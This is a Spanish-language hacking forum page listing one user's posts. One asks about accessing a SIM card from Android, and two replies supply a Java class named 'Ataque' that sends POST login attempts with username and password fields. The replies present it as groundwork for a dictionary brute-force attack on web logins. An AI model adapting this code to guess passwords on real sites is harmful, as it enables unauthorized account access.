Mostrar Mensajes

Esta sección te permite ver todos los mensajes hechos por este usuario, recuerda que solo puedes ver los mensajes en áreas en donde tu tienes acceso.


Mensajes - DonVidela

Páginas: [1]
1
Hacking general / Interactuar Directamente con la SIM
« : diciembre 09, 2012, 01:51:31 pm »
Hola a todos, me gustaría saber si algunos conocen la forma de interactuar directamente con la SIM a través de android, no se si la API tenga algunas implementaciones respecto a eso, he estado buscando pero poco he encontrado, si alguno conoce o tiene información  será bienvenida.


2
Java / Re:force brute(diccionario)
« : diciembre 01, 2012, 05:19:20 pm »
Yo pense que era problema de la configuración del foro... xD como pensé que era nuevo. Pero tranquilo, a alguien más le servirá la respuesta.

3
Java / Re:force brute(diccionario)
« : diciembre 01, 2012, 12:17:42 pm »
Esto solo requiere un poco de busqueda en google, lo que tu haces es solo leer la pagina.

Para lo que quieres encontre material interesante, así que lo dejo para que tu lo adaptes a tus necesidades, la clase HttpURLConnection es la clave, deberías leer la api para aprendertela bien.


Código: java [Seleccionar]

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.HttpURLConnection;
import java.net.URL;


/**
 *
 * @author Administrador
 */
public class Ataque {
    private int maxContenido;
    private String SESION;
    private String URL;
    private String RUT;
    private String NombrePWD;
    private String NombreUSR;
    private String VARS;
    private String CLAVE;
    private String resultado;
    private String strParametros;
    HttpURLConnection con;

    public int getMaxContenido() {
        return maxContenido;
    }

    public void setMaxContenido(int maxContenido) {
        this.maxContenido = maxContenido;
    }

    public String getNombrePWD() {
        return NombrePWD;
    }

    public void setNombrePWD(String NombrePWD) {
        this.NombrePWD = NombrePWD;
    }

    public String getNombreUSR() {
        return NombreUSR;
    }

    public void setNombreUSR(String NombreUSR) {
        this.NombreUSR = NombreUSR;
    }

    public String getVARS() {
        return VARS;
    }

    public void setVARS(String VARS) {
        this.VARS = VARS;
    }

    public String getSESION() {
        return SESION;
    }

    public void setSESION(String SESION) {
        this.SESION = SESION;
    }

     
    public String getCLAVE() {
        return CLAVE;
    }

    public void setCLAVE(String CLAVE) {
        this.CLAVE = CLAVE;
    }

    public String getRUT() {
        return RUT;
    }

    public void setRUT(String RUT) {
        this.RUT = RUT;
    }

    public Ataque() {
         
    }

    public String getStrParametros() {
        return strParametros;
    }

    public void setStrParametros(String strParametros) {
        this.strParametros = strParametros;
    }


    public String getURL() {
        return URL;
    }

    public void setURL(String URL) {
        this.URL = URL;
    }

     

    public String getResultado() {
        return resultado;
    }

    public void setResultado(String resultado) {
        this.resultado = resultado;
    }

     
    public void enviarConsulta(){
        try{
            setResultado("");
            URL postURL = new URL( getURL() );
            //generarParametros();
            setStrParametros( getNombreUSR() + "=" + getRUT()  + "&" + getNombrePWD() + "=" + getCLAVE() + getVARS());
             
            System.out.println("URL: " + getURL() + getStrParametros());
            con = (HttpURLConnection) postURL.openConnection();
            con.setUseCaches(false);
            con.setDoOutput(true);
            con.setDoInput(true);
            con.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
            con.setRequestMethod("POST");


            PrintWriter out = new PrintWriter(con.getOutputStream());

//            System.out.println(">>> POSTING: "+getStrParametros());

            out.println(getStrParametros());
            out.close();

            String inputLine="";   //Stores the line of text returned by the server
            System.out.println("ESPERANDO RESPUESTA...\n\n");

            BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream()));

//            while ((inputLine = in.readLine()) != null)
            while((inputLine = in.readLine()) != null && getResultado().length()<getMaxContenido())
                setResultado(getResultado() + inputLine + "\n");

            in.close();
            con.disconnect();
            //System.out.println(getResultado());

        }catch(Exception ex){
            System.out.println(ex);
        }
    }
}


La fuente de esta información es

http://www.chw.net/foro/lenguajes-de-programacion-f22/890743-fuerza-bruta-java-con-hilos.html

Buscar antes de postear.

Páginas: [1]
. . . . . . . .